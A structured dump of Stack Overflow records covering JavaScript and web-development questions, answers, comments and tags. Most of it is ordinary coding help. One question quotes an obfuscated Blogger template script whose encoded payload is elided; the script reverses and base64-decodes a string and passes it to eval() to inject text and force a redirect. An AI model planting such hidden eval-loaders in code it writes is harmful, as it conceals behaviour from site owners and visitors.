score: 0
has comment: http://stackoverflow.com/comment/40456073

slider
tags question: http://stackoverflow.com/q/25840664
tags question: http://stackoverflow.com/q/25862300
tags question: http://stackoverflow.com/q/25713012
tags question: http://stackoverflow.com/q/25793401
tag name: slider
tags question: http://stackoverflow.com/q/25838850
tags question: http://stackoverflow.com/q/25859573
tags question: http://stackoverflow.com/q/25720313
tags question: http://stackoverflow.com/q/25745432
type: Tag

http://stackoverflow.com/a/25814657
answers question: http://stackoverflow.com/q/25808462
has body: I can't see your html, so I have to guess a lot. I assume you have a lot of input elements, all with an id-attribute, and your female/male buttons are two of them. Those buttons have a value being either 'on' or 'off', and in some browsers its always 'on'. So don't look for value. Further radio buttons have a property checked being either true or false. You don't need to attach a click-handler to get the state. So the first lines of your getSillyName() could look like: function getSillyName() { var x; if (document.getElementById(/* female id here */).checked) { x = 'Mrs.' // change string to whatever you want to see } else if (document.getElementById(/* male id here */).checked) { x = 'Mr.' // as above } else x = 'cat'; // possibly both are unchecked /* the very important next line in your code should be: */ console.log(x); /* this important line move step by step further down your code */ console.log(/* and put in here what you want to check */); /* rest of code here */ } After that your element #msgField should show something.
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25808462
type: Answer

http://stackoverflow.com/q/25726670
has comment: http://stackoverflow.com/comment/40220310
linked to: http://stackoverflow.com/q/11922383
tagged with: http://stackoverflow.com/tag/json
has body: I am trying to read a json string which looks like this. "student":{ "0":[{ "name":"manet", "marks":114 }], "1":null, "2":null, "3":null, "4":null, "5":null, "6":null, "7":null, "8":null, "9":null, "10":null, "18":[{ "name":"Om", "marks":75 }] } I am trying to read something like this console.log("JSON Marks ", json[0].marks) or console.log("JSON Marks #1", json[0][0].marks) I just put jso[0] "0" is index i just put hardcoded to test but none of the above is working
downvote count: 1
duplicate of: http://stackoverflow.com/q/11922383
type: Question
has answer: http://stackoverflow.com/a/25726781
tagged with: javascript
has title: reading json string in javascript
score: 0
answer count: 3
favorite count: 0
has answer: http://stackoverflow.com/a/25726774
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25726860
upvote count: 1

http://stackoverflow.com/comment/40217742
type: QuestionComment
comment on: http://stackoverflow.com/q/25725224
type: Comment
score: 2
has text: Are you doing this by hand? If so, you should check out JSMin (http://www.crockford.com/javascript/jsmin.html) or YUI (http://yui.github.io/yuicompressor/) or a myriad of other JS minifiers.

http://stackoverflow.com/comment/40337709
type: AnswerComment
score: 0
type: Comment
has text: So the standard transformations (map, filter etc) are only applied to 'values', and the 'errors' just pass through unaffected? My understanding is that 'errors' are only processed by the onError(f) and endOnError(f) callbacks. Is that correct?
comment on: http://stackoverflow.com/a/25789695

http://stackoverflow.com/q/25714429
upvote count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40197663
favorite count: 0
score: 0
tagged with: colors
tagged with: random
has answer: http://stackoverflow.com/a/25714448
duplicate of: http://stackoverflow.com/q/22158662
has answer: http://stackoverflow.com/a/25714480
type: UnansweredQuestion
downvote count: 1
linked to: http://stackoverflow.com/q/22158662
has title: Javascript: How to randomly change background ?
has body: I can't find out where is the problem on this code: &lt;script&gt; var colori = ['ffffff', 'ffbf00', 'ff4000', '4d79ff', '00c0ff', '00ff3f', 'ff7a4d', '00ff40', 'bf00ff', 'ff0040', 'ffd34d', 'a52a2a', 'bf00ff', '47adcf', '2a82a0' ]; var i; function CambiaColore(){ i = Math.floor(Math.random() * colori.length); var colore = '#'+colori[i]; document.body.style.background=colore; setTimeout(CambiaColore(),2000); }; CambiaColore(); &lt;/script&gt; Can somebody explain me what's wrong?
type: Question
answer count: 2

http://stackoverflow.com/a/25748208
score: 21
has comment: http://stackoverflow.com/comment/40260839
upvote count: 21
has comment: http://stackoverflow.com/comment/65591871
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25748001
has body: Even with the controllerAs format, the $scope is there. In fact what controllerAs does is bind the controller instance's this to the $scope. E.g. controller="myController as myctrl" does (behind the scenes): $scope.myctrl = this (where this refers to the myController instance). So, you can just inject and use the $scope for watches: .controller('myController', function ($scope, contacts) { this.contacts = contacts; $scope.$watch(function () { return contacts; }, function (newValue, oldValue) {...}); });
downvote count: 0
answers question: http://stackoverflow.com/q/25748001
type: Answer

http://stackoverflow.com/q/25802662
has comment: http://stackoverflow.com/comment/40360254
linked to: http://stackoverflow.com/q/21423397
has comment: http://stackoverflow.com/comment/40367035
has title: What coding language is this inside a javascript?
tagged with: blogger
has comment: http://stackoverflow.com/comment/40360529
type: Question
has answer: http://stackoverflow.com/a/25803175
linked to: http://stackoverflow.com/q/194397
has body: I have the script below and I don't know were to start searching because I am not familiar with the code. That code is included on my blog at blogger.com To be specific, it came from the template I downloaded. I wanted to modify that code coz it's injecting some text and I am curious how they did it. What it does is, when I remove the element with the id="someID", they redirecting my page to their website. Note: I deleted some of the script on the middle part because it is too long and can't handle by this site. UPDATE: I deleted the middle value of var I1I here is the complete script http://jsfiddle.net/0xmz6cf6/ &lt;script&gt;//&lt;![CDATA[ var I1I='=[binary]'; function _0lO(data) { var _10OlOI = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, enc = ''; do { h1 = _10OlOI.indexOf(data.charAt(i++)); h2 = _10OlOI.indexOf(data.charAt(i++)); h3 = _10OlOI.indexOf(data.charAt(i++)); h4 = _10OlOI.indexOf(data.charAt(i++)); bits = h1 &lt;&lt; 18 | h2 &lt;&lt; 12 | h3 &lt;&lt; 6 | h4; o1 = bits &gt;&gt; 16 &amp; 0xff; o2 = bits &gt;&gt; 8 &amp; 0xff; o3 = bits &amp; 0xff; if (h3 == 64) { enc += String.fromCharCode(o1) } else if (h4 == 64) { enc += String.fromCharCode(o1, o2) } else { enc += String.fromCharCode(o1, o2, o3) } } while (i &lt; data.length); return enc } function _10O(string) { var ret = '', i = 0; for (i = string.length - 1; i &gt;= 0; i--) { ret += string.charAt(i); } return ret; } eval(_0lO(_10O(I1I))); //]]&gt; &lt;/script&gt;
tagged with: javascript
has comment: http://stackoverflow.com/comment/40360597
score: 0
has answer: http://stackoverflow.com/a/25803038
answer count: 3
has comment: http://stackoverflow.com/comment/40360674
has answer: http://stackoverflow.com/a/25803034
type: UnansweredQuestion

http://stackoverflow.com/a/25721425
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25721098
type: Answer
score: 2
upvote count: 2
has body: Create a Settings module and whoever needs to access the settings imports it - have it export an object with whatever variables you want.
answers question: http://stackoverflow.com/q/25721098

http://stackoverflow.com/a/25764112
downvote count: 0
has body: You need to do traverse back up to the parent tr element before you try to find the .sub_title or .price elements. $(document).ready(function() { $(document).delegate('.amount input[type="text"]','keyup',(function() { var $this = $(this); var $tr = $this.closest("tr"); var sub_total = $tr.find('.sub_total'); var price = $tr.find('.price').text(); var amount = $this.val(); alert(price); })); });
upvote count: 2
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25763999
answers question: http://stackoverflow.com/q/25763999
score: 2

http://stackoverflow.com/comment/40483973
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25855737
has text: This is really helpful. By the way, jquery is just an example for this question. The core for this question is that I want to make a client-side debug tools, which means every time you find something wrong in the compressed javascript codes, you can replace it with the original codes from your server and easy to debug.
score: 0

http://stackoverflow.com/q/25719333
has answer: http://stackoverflow.com/a/25719392
downvote count: 0
answer count: 1
favorite count: 0
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25719392
has body: I have the below javascript code. App.config(['$provide', '$routeProvider', function($provide, $routeProvider) { $routeProvider .when('/', { templateUrl: 'views/dashboard.html' }) .when('/404', { templateUrl: '404.html' }) .when('/500', { templateUrl: '500.html' }) .when('/:pages', { templateUrl: function(routeParams) { return 'views/' + routeParams.pages + '.html'; } }) .otherwise({ redirectTo: '/404' }) }]); Everything working fine as per the condition specified. But if I enter some fake URL's. I get a error in the console log that the specified URL is not found. Is there any mistake I'm doing with the otherwise here? Please help me out and do let me know why the otherwise what I've specified doesn't work. Thanks in advance.
has comment: http://stackoverflow.com/comment/40206945
type: AnsweredQuestion
has title: AngularJS - ngRoute otherwise not working
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40206844
type: Question
tagged with: angular-routing
tagged with: javascript

http://stackoverflow.com/comment/40848016
has text: Thank you very much again for the effort you made. I think it would be a good idea to start an issue on karma-browserstack-launcher's github page and see what maintainers think about the feature. I think I'm not the only one who is missing this sort of functionality. Do you want me to create the issue, or you were going to send them a PR with changes? Thanks.
comment on: http://stackoverflow.com/a/26003946
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/a/25847776
accepted answer of: http://stackoverflow.com/q/25847419
answers question: http://stackoverflow.com/q/25847419
has comment: http://stackoverflow.com/comment/40443158
has comment: http://stackoverflow.com/comment/40443075
score: 0
has body: Your code should be like: if ($('#varsta').val() != "" &amp;&amp; !$.isNumeric($('#varsta').val())) { ... } else { ... }
has comment: http://stackoverflow.com/comment/40446246
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/40355101
has text: @jacelysh See my comment above this one. Also, as a side note you're talking about a "drawing" interface, you may want to consider using the `canvas` element for it, since DOM insertions will become very slow after a certain amount of elements is reached. This is due to browser redraw and refloating on every insert.
type: Comment
comment on: http://stackoverflow.com/a/25799624
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40471532
has text: @xmojmr: If you want an answer to look in a specific way, then you are free to write your own answer.
type: Comment
comment on: http://stackoverflow.com/a/25832247
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40391745
has text: Don't try to save the entire canvas after each stroke. Save each drawing command into an array. Then you can undo by popping the last element(s) off the end of the array, clearing the canvas and redrawing all the remaining elements (== re-executing all the remaining drawing commands).
comment on: http://stackoverflow.com/q/25819684
type: QuestionComment
type: Comment
score: 2

http://stackoverflow.com/q/25860367
tagged with: http://stackoverflow.com/tag/json
tagged with: javascript
has answer: http://stackoverflow.com/a/25860403
has title: What's an efficient way to dynamically place JSON object array into a table?
answer count: 1
downvote count: 0
score: 1
tagged with: jquery
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25860403
type: AnsweredQuestion
has body: I have a JSON object 2D associative array (?) created using PapaParse (the data object has 193 lines and 49 columns). I want to dynamically add it to my web page. The code below uses jQuery and works but is very slow. Is there a faster way? Note: I've given the cells unique IDs because I want the user to be able to choose, interactively, certain columns to keep... $('&lt;table/&gt;', { 'id' : 'dataTable' }).appendTo("body"); $('&lt;tbody/&gt;', { "id": "dataTableBody", }).appendTo("#dataTable"); // cycle through values and add data to table for (var i = 0; i &lt; Parseddata.length; i++) { $('&lt;tr/&gt;', { "id":"dataTableRow_"+i }).appendTo("#dataTableBody"); for (var j = 0; j &lt; Parseddata[0].length; j++) { $('&lt;td/&gt;', { "id":"dataTableColumn_"+j, "text":Parseddata[i][j] }).appendTo("#dataTableRow_"+i).css({"border":"solid white 1pt"}); }; };
upvote count: 1
type: Question

http://stackoverflow.com/comment/40200393
score: 0
has text: marquee is something you dont want to use nowadays, jquery can slide elements a lot better
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25715941

http://stackoverflow.com/a/40449854
type: Answer
upvote count: 40
answers question: http://stackoverflow.com/q/25777826
score: 40
has comment: http://stackoverflow.com/comment/96554305
has body: The required result can be achieved by providing a very slight delay on firing off the normal click action, which will be cancelled when the double click event will happen. let timer = 0; let delay = 200; let prevent = false; doClickAction() { console.log(' click'); } doDoubleClickAction() { console.log('Double Click') } handleClick() { let me = this; timer = setTimeout(function() { if (!prevent) { me.doClickAction(); } prevent = false; }, delay); } handleDoubleClick(){ clearTimeout(timer); prevent = true; this.doDoubleClickAction(); } &lt; button onClick={this.handleClick.bind(this)} onDoubleClick = {this.handleDoubleClick.bind(this)} &gt; click me &lt;/button&gt;
downvote count: 0

http://stackoverflow.com/comment/40367784
type: Comment
type: QuestionComment
has text: Why dont you use anchor tag here and redirect it directly if System.Diagnostics.Debug.WriteLine("test final"); is not that important then?
comment on: http://stackoverflow.com/q/25806723
score: 0

http://stackoverflow.com/comment/40206744
type: Comment
has text: jquery.min.js is missing. you should include js in your html.
comment on: http://stackoverflow.com/a/25719269
score: 0
type: AnswerComment

http://stackoverflow.com/tag/q
tags question: http://stackoverflow.com/q/25718828
type: Tag
tags question: http://stackoverflow.com/q/25751723
tag name: q
tags question: http://stackoverflow.com/q/25822843

http://stackoverflow.com/q/25867928
tagged with: javascript
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/28034835
has comment: http://stackoverflow.com/comment/40573359
has comment: http://stackoverflow.com/comment/40524900
tagged with: internet-radio
has comment: http://stackoverflow.com/comment/40575268
has comment: http://stackoverflow.com/comment/40569836
tagged with: wowza
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40531151
favorite count: 0
has comment: http://stackoverflow.com/comment/40547319
type: Question
has comment: http://stackoverflow.com/comment/40479349
tagged with: streaming
has comment: http://stackoverflow.com/comment/40574394
has comment: http://stackoverflow.com/comment/40509631
has comment: http://stackoverflow.com/comment/40478899
has comment: http://stackoverflow.com/comment/40837666
has body: I am running streaming on wowza streaming server. But I am not able to find the exact duration time of streaming. I am running music website on which we play streaming on user native player. For our tracking we want to keep track of exact time duration of the audio listen by the user.
answer count: 3
has comment: http://stackoverflow.com/comment/40499436
upvote count: 1
has comment: http://stackoverflow.com/comment/40575195
has comment: http://stackoverflow.com/comment/40546836
has answer: http://stackoverflow.com/a/53723690
has comment: http://stackoverflow.com/comment/40555550
tagged with: audio-streaming
has answer: http://stackoverflow.com/a/26037447
has title: How to calculate exact streaming duration time in web?

http://stackoverflow.com/q/25792179
has answer: http://stackoverflow.com/a/25812217
type: UnansweredQuestion
tagged with: chromium
has body: Google Chrome has removed the support for showmodaldialog function described at the following blog URL. http://blog.chromium.org/2014/07/disabling-showmodaldialog.html My webpages have few errors and I am thinking that if I can get the implementation of the showmodaldialog and put it on my base master page. I am trying to download the source code from https://chromium.googlesource.com/chromium/src but getting some SSL errors: unable to get local issuer certificate. Can anybody provide me the source code of the said method and it's dependent methods so that I can use that directly on my webpages to show the popup.
tagged with: google-chrome
tagged with: git
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40361519
score: 0
has title: showmodaldialog definition from Chromium source code
answer count: 1

http://stackoverflow.com/a/25863843
answers question: http://stackoverflow.com/q/25863514
score: 0
type: Answer
has body: OK I solved it ^^..., the problem was with the scale... So the problem was I used this: myobject.scale.set( 3, 3, 3 ); But the vertices coordinates didn't change, so I commented out this line, and I'll export 3 times bigger modells. But on the other hand if you want to work with a scalled modell, then you should add the x,y,z values 3 times(x times according to your scale, where x is a number).

http://stackoverflow.com/comment/40463602
type: Comment
score: 1
comment on: http://stackoverflow.com/q/25859124
has text: @BadZen: it guarantees they are IEEE754 (but it still leaves some variations, indeed)
type: QuestionComment

http://stackoverflow.com/comment/40270411
has text: you can display the image as a background-image and use CSS's crop or background-position properties to virtually crop the image.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25753254

http://stackoverflow.com/comment/40274437
has text: I don't understand what does not work. Why would no more values be emitted from `scroll`? There shouldn't be no more values in `page`, though.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25755267

http://stackoverflow.com/comment/40412942
score: 0
comment on: http://stackoverflow.com/q/25831693
type: QuestionComment
type: Comment
has text: `$('#CalendarType')[0].className`

http://stackoverflow.com/comment/40299948
has text: i would like to hide datepicker when datepicker is on blur not input ;)
comment on: http://stackoverflow.com/a/25769817
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40320005
type: Comment
comment on: http://stackoverflow.com/a/25780701
has text: But the same code is working in Chrome and Firefox??
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40278445
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25757510
has text: The problem is that you remove the disabled attribute for all the options in all the select, even if it is selected in an other dropdown. [Here is my proposition](http://stackoverflow.com/a/25757530/1639189) (just below actually).

http://stackoverflow.com/comment/40306670
has text: @Christophe Aah... I didn't see them, they where so far away!
score: 0
comment on: http://stackoverflow.com/q/25773196
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25809000
tagged with: bookmarklet
has comment: http://stackoverflow.com/comment/40370885
tagged with: url
tagged with: javascript
tagged with: jquery
has title: adding https to any URL before opening it via javascript
type: Question
has answer: http://stackoverflow.com/a/25809282
tagged with: regex
has comment: http://stackoverflow.com/comment/40371925
has comment: http://stackoverflow.com/comment/40371487
score: 0
has comment: http://stackoverflow.com/comment/40371896
answer count: 1
has body: I am building a javascript bookmarklet which can change some part of url and can open updated URL. Below is the code I have written. var str = "www.myweb.com/in/products/index.aspx"; var pattern2 = new RegExp('www.myweb.com','i'); var str1 = str.replace(pattern2, 'https://www-stg.myweb.com:60002'); window.location.href = str1; This is resulting in http//www-stg.myweb.com:60002/in/products/index.aspx which in incorrect. I want to add https:// before www-stg.myweb.com If I alert it or console.log() it, it will show correct thing. But browser is adding http once submitted. How to overcome this?
has comment: http://stackoverflow.com/comment/40371086
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40371368

http://stackoverflow.com/comment/40446095
comment on: http://stackoverflow.com/q/25849412
has text: My remark was more a suggestion. I checked the jsfiddle and I am a bit surprised on the performance; I noticed that your escape condition is not what is usually done; I think it should be `x*x+y*y<2` instead of `x*x < 2 && y*y<2`.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40387524
has text: Please provide more information. Do you want to create a self reference?
score: 0
comment on: http://stackoverflow.com/q/25817384
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40436433
type: QuestionComment
score: 0
has text: Check the browser console for errors, your code looks fine.
comment on: http://stackoverflow.com/q/25844316
type: Comment

http://stackoverflow.com/comment/40255284
has text: Im getting an error - getElementsByTagName is not defined. The code is running after the menu loads so Im not sure why this is?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25745087
type: Comment

http://stackoverflow.com/q/25727753
tagged with: field
accepted answer: http://stackoverflow.com/a/25727799
tagged with: input
score: -2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40222269
linked to: http://stackoverflow.com/q/25719895
downvote count: 2
type: Question
has title: Add value to field by URL ?name=data
tagged with: inputbox
has answer: http://stackoverflow.com/a/25727799
tagged with: javascript
has comment: http://stackoverflow.com/comment/40222297
has comment: http://stackoverflow.com/comment/40222303
upvote count: 0
answer count: 1
tagged with: url
favorite count: 0
has body: You know passing value to field by URL could be done by : ?name=data For example : Google.com/?q=stackoverflow And then when you open this link you have "stackoverflow" written in the field. But I can't do this with some websites. For example : ( GitHub search bar name is also "q" ) github.com/?q=stackoverflow If you open this link there is no text in the search field. I want to know why and how to make this method work for these websites?

http://stackoverflow.com/a/25787450
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40331775
has comment: http://stackoverflow.com/comment/40331685
has body: I don't know if it is what you are looking for but, as said in this page, you can check the event.target to verify if your scroll is on the wanted element.
has comment: http://stackoverflow.com/comment/40331527
has comment: http://stackoverflow.com/comment/40331876
answers question: http://stackoverflow.com/q/25787308

http://stackoverflow.com/comment/40241374
has text: my php file<?php $location = urlencode('delhi'); $str= "location=".$location; $ch=curl_init(); curl_setopt($ch,CURLOPT_URL,'http://myurl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_POST, true); curl_setopt ($ch, CURLOPT_POSTFIELDS, $str); $result = curl_exec($ch); print_r($result); curl_close($ch); ?> })
type: AnswerComment
score: 2
type: Comment
comment on: http://stackoverflow.com/a/25737165

http://stackoverflow.com/comment/40367685
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25795747
score: 0
has text: Could you try to use jQuery object http://datatables.net/reference/type/row-selector#jQuery? I mean smth like this ``var aTags = $('#myTableRowsParent a')`` and then use ``table.rows( aTags ).data()`` ? where under ``myTableRowsParent`` I mean the parent of all ``a`` tags you want to find.

http://stackoverflow.com/comment/40217676
comment on: http://stackoverflow.com/a/25725236
type: Comment
has text: but doesn't the offset change depending on the time of year? also this (https://www.youtube.com/watch?v=-5wpm-gesOY) let soemone else handle timezones
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40244928
comment on: http://stackoverflow.com/a/25739571
has text: You're missing quotes around the PHP tags.
type: Comment
score: 2
type: AnswerComment

http://stackoverflow.com/comment/40319132
type: Comment
score: 3
has text: One of thse days I'll figure out why this error is so common. The first thing every jQuery tutorial shows is that you should do this.
type: AnswerComment
comment on: http://stackoverflow.com/a/25780226

http://stackoverflow.com/a/25896286
has comment: http://stackoverflow.com/comment/41627009
accepted answer of: http://stackoverflow.com/q/25793222
answers question: http://stackoverflow.com/q/25793222
type: AcceptedAnswer
score: 10
upvote count: 11
downvote count: 1
type: Answer
has body: The answer to this was that I had to add &lt;script src="cordova.js"&gt;&lt;/script&gt; to my page, just above my scripts. Please be aware this file doesnt exist during development, it's injected at runtime... which is why I could solve it. Hope this helps someone!

http://stackoverflow.com/comment/40437968
type: Comment
type: QuestionComment
has text: ID's are unique. you shouldnt use #h2 more than once. your selector isnt working.. $('#bar h1') doesnt exist since there is no h1. you want the class .h1 $('#bar').find('.h1') - and it would be great if you can explain what exactly you want to archive - is this some sort of ordering items or just exchanging 2 random items you pass to a function?
comment on: http://stackoverflow.com/q/25845185
score: 0

http://stackoverflow.com/tag/pdf
tags question: http://stackoverflow.com/q/25743663
tags question: http://stackoverflow.com/q/25762363
tags question: http://stackoverflow.com/q/25751017
type: Tag
tag name: pdf
tags question: http://stackoverflow.com/q/25767074
tags question: http://stackoverflow.com/q/25840758
tags question: http://stackoverflow.com/q/25773205
tags question: http://stackoverflow.com/q/25716852
tags question: http://stackoverflow.com/q/25723952
tags question: http://stackoverflow.com/q/25871195
tags question: http://stackoverflow.com/q/25870970
tags question: http://stackoverflow.com/q/25782147

http://stackoverflow.com/a/25828671
has body: It's not really clear what you're trying to achieve in your setup, but if you don't want the anchor links around the inputs to be clickable, you should just remove them entirely and get rid of the javascript. They don't serve any purpose given what you're attempting to do. The radio buttons will be properly selectable at that point as well.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25828604

http://stackoverflow.com/q/25784634
has comment: http://stackoverflow.com/comment/40329006
has comment: http://stackoverflow.com/comment/40331177
downvote count: 0
has comment: http://stackoverflow.com/comment/40330847
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40331219
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40330600
has comment: http://stackoverflow.com/comment/40330948
has body: I am trying to simulate setInterval client side behavior where ajax GET requests are sent to the server and returned back out of order. For example: var ul = $('ul.log'), index = 0; setInterval(function() { var started = new Date(), i = index; index++; $.get('/date', function(date) { var end = new Date(); ul.append('&lt;li&gt;Request ' + i + ' started at ' + started.getHours() + ':' + started.getMinutes() + ':' + started.getSeconds()); }); }, 1000); setInterval is supposed to execute after every specified interval, so if the server is busy, responses are supposed to come out order. I tried to implement that side in NodeJS: var express = require('express'); var app = express(); var i = 0; app.get('/date', function(req, res){ var sleep = Math.floor((Math.random() * 5) + 5) * 1000; setTimeout(function() { res.end("test string"); i++; }, sleep); }); app.use(express.static(__dirname + '/')); server = app.listen(3002, function() { console.log('Listening on port %d', server.address().port); }); Here I'm setting random timeout so that requests are processed out of order. However, it doesn't work(html output): Request 0 started at 11:50:6 Request 1 started at 11:50:7 Request 2 started at 11:50:8 Request 3 started at 11:50:9 Request 4 started at 11:50:10 and I expected something like this: Request 0 started at 11:50:6 Request 1 started at 11:50:7 Request 4 started at 11:50:10 Request 2 started at 11:50:8 Request 3 started at 11:50:9 What I'm doing wrong ?
tagged with: node.js
answer count: 0
has comment: http://stackoverflow.com/comment/40330972
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40331094
type: Question
has title: Simulating out of order request processing
tagged with: javascript

http://stackoverflow.com/comment/40330766
has text: possible duplicate of [Can Android WebView HTML influence keyboard or keyboard features?](http://stackoverflow.com/questions/23304635/can-android-webview-html-influence-keyboard-or-keyboard-features)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25786916
score: 0

http://stackoverflow.com/comment/40410179
has text: @KnightRider you mean the typo? yes i have revised it
type: Comment
comment on: http://stackoverflow.com/a/25830096
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40377362
comment on: http://stackoverflow.com/q/25812342
score: 0
type: QuestionComment
type: Comment
has text: It's inheriting the prototype. Not the constructor.

ios
tags question: http://stackoverflow.com/q/25871586
tags question: http://stackoverflow.com/q/25809982
tags question: http://stackoverflow.com/q/25750561
type: Tag
tags question: http://stackoverflow.com/q/25804730
tags question: http://stackoverflow.com/q/25737931
tags question: http://stackoverflow.com/q/25840122
tags question: http://stackoverflow.com/q/25782915
tags question: http://stackoverflow.com/q/25858547
tags question: http://stackoverflow.com/q/25775157
tags question: http://stackoverflow.com/q/25772256
tags question: http://stackoverflow.com/q/25814089
tags question: http://stackoverflow.com/q/25811354
tags question: http://stackoverflow.com/q/25844893
tags question: http://stackoverflow.com/q/25813463
tag name: ios
tags question: http://stackoverflow.com/q/25831977
tags question: http://stackoverflow.com/q/25805579
tags question: http://stackoverflow.com/q/25775840
tags question: http://stackoverflow.com/q/25738363
tags question: http://stackoverflow.com/q/25824676
tags question: http://stackoverflow.com/q/25739050
tags question: http://stackoverflow.com/q/25807711
tags question: http://stackoverflow.com/q/25743444
tags question: http://stackoverflow.com/q/25835124
tags question: http://stackoverflow.com/q/25827368
tags question: http://stackoverflow.com/q/25736058
tags question: http://stackoverflow.com/q/25753708
tags question: http://stackoverflow.com/q/25793222
tags question: http://stackoverflow.com/q/25842634
tags question: http://stackoverflow.com/q/25759432
tags question: http://stackoverflow.com/q/25865006

http://stackoverflow.com/a/25744726
score: 1
has comment: http://stackoverflow.com/comment/40254449
has comment: http://stackoverflow.com/comment/40254563
downvote count: 0
has comment: http://stackoverflow.com/comment/40254041
type: Answer
has comment: http://stackoverflow.com/comment/40254289
answers question: http://stackoverflow.com/q/25744507
has body: The value of this is determined by how the current function was called. Since you aren't in a function, it will be window. There is no way to get a reference to pale that you can pass to bind until after you've created the object. However, you don't need to. Since the value of this depends on how the function is called (as opposed to how it was constructed), you can just copy the reference to the function: var pale = { work: "STMS", describe: palestrina.describe };
upvote count: 1

http://stackoverflow.com/q/25730510
has body: I'm trying to track down an odd exception in a JavaScript program. The exception occurs in MyClass.prototype.toString(), where one of the fields of my object is null, causing the method, which references that field, to fail. I'm using Firebug to debug the situation and I have it set to break on exceptions. The odd thing is that the stack in Firebug lists only the toString() method with no calling method. Could someone tell me what that indicates? Other exceptions show the stack just fine. Perhaps Firebug itself is trying to evaluate a toString() for debug information, and then causing the error? I should mention I'm working primarily with another author's code base, so I'm looking for general help that may help me track it down. (If it matters I'm using a few external libraries, including jQuery.)
answer count: 0
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40234667
tagged with: firebug
type: Question
has title: Firebug catches exception in toString() without stack trace
score: 0
has comment: http://stackoverflow.com/comment/40234759

http://stackoverflow.com/comment/40393646
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25820860
has text: Why can't [JSON.stringify](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) be used?
type: Comment

http://stackoverflow.com/comment/40357572
type: AnswerComment
has text: @Amadan I made the fades a little slower so you can get a better idea. Basically, when I click the close button, I see a quick flicker (I'm guessing this is the src being emptied out) and then it fades out. I included your code into the original code which you can see in the post above.
score: 0
comment on: http://stackoverflow.com/a/25800808
type: Comment

http://stackoverflow.com/comment/40321558
comment on: http://stackoverflow.com/a/25781131
type: Comment
score: 0
has text: Bravo! Thanks for that. Can't believe I forgot about val.
type: AnswerComment

http://stackoverflow.com/comment/40300990
type: QuestionComment
has text: your code does not match what you are asking. Please add the code you tried for this particular situation.
score: 1
comment on: http://stackoverflow.com/q/25770499
type: Comment

http://stackoverflow.com/q/25755723
score: 0
answer count: 1
tagged with: jquery
type: UnansweredQuestion
has body: Using jQuery this works fine: $(document).on('click','a.clickmap',function(e){ alert('h'); } However I want to do something when a key is pressed. I've tried both of these: $(document).on('keypress','body', function(e){ if(e.which==78) { alert('n'); // "n" } $(document).on('keypress', function(e){ //ditto }; Neither works!
type: Question
has answer: http://stackoverflow.com/a/25756710
tagged with: javascript
has title: Google Apps Script HTML Service - Can't get Keypress to work
tagged with: google-caja
tagged with: google-apps-script

checkbox
tags question: http://stackoverflow.com/q/25853803
tag name: checkbox
tags question: http://stackoverflow.com/q/25854494
tags question: http://stackoverflow.com/q/25790348
tags question: http://stackoverflow.com/q/25794767
tags question: http://stackoverflow.com/q/25867826
tags question: http://stackoverflow.com/q/25817331
tags question: http://stackoverflow.com/q/25868638
tags question: http://stackoverflow.com/q/25731518
tags question: http://stackoverflow.com/q/25739346
tags question: http://stackoverflow.com/q/25778026
tags question: http://stackoverflow.com/q/25735006
tags question: http://stackoverflow.com/q/25836087
tags question: http://stackoverflow.com/q/25819583
tags question: http://stackoverflow.com/q/25835750
tags question: http://stackoverflow.com/q/25718271
tags question: http://stackoverflow.com/q/25775352
tags question: http://stackoverflow.com/q/25813175
tags question: http://stackoverflow.com/q/25828891
tags question: http://stackoverflow.com/q/25814063
tags question: http://stackoverflow.com/q/25840153
tags question: http://stackoverflow.com/q/25835986
tags question: http://stackoverflow.com/q/25724526
type: Tag
tags question: http://stackoverflow.com/q/25812750
tags question: http://stackoverflow.com/q/25785519
tags question: http://stackoverflow.com/q/25763800
tags question: http://stackoverflow.com/q/25800184
tags question: http://stackoverflow.com/q/25813566
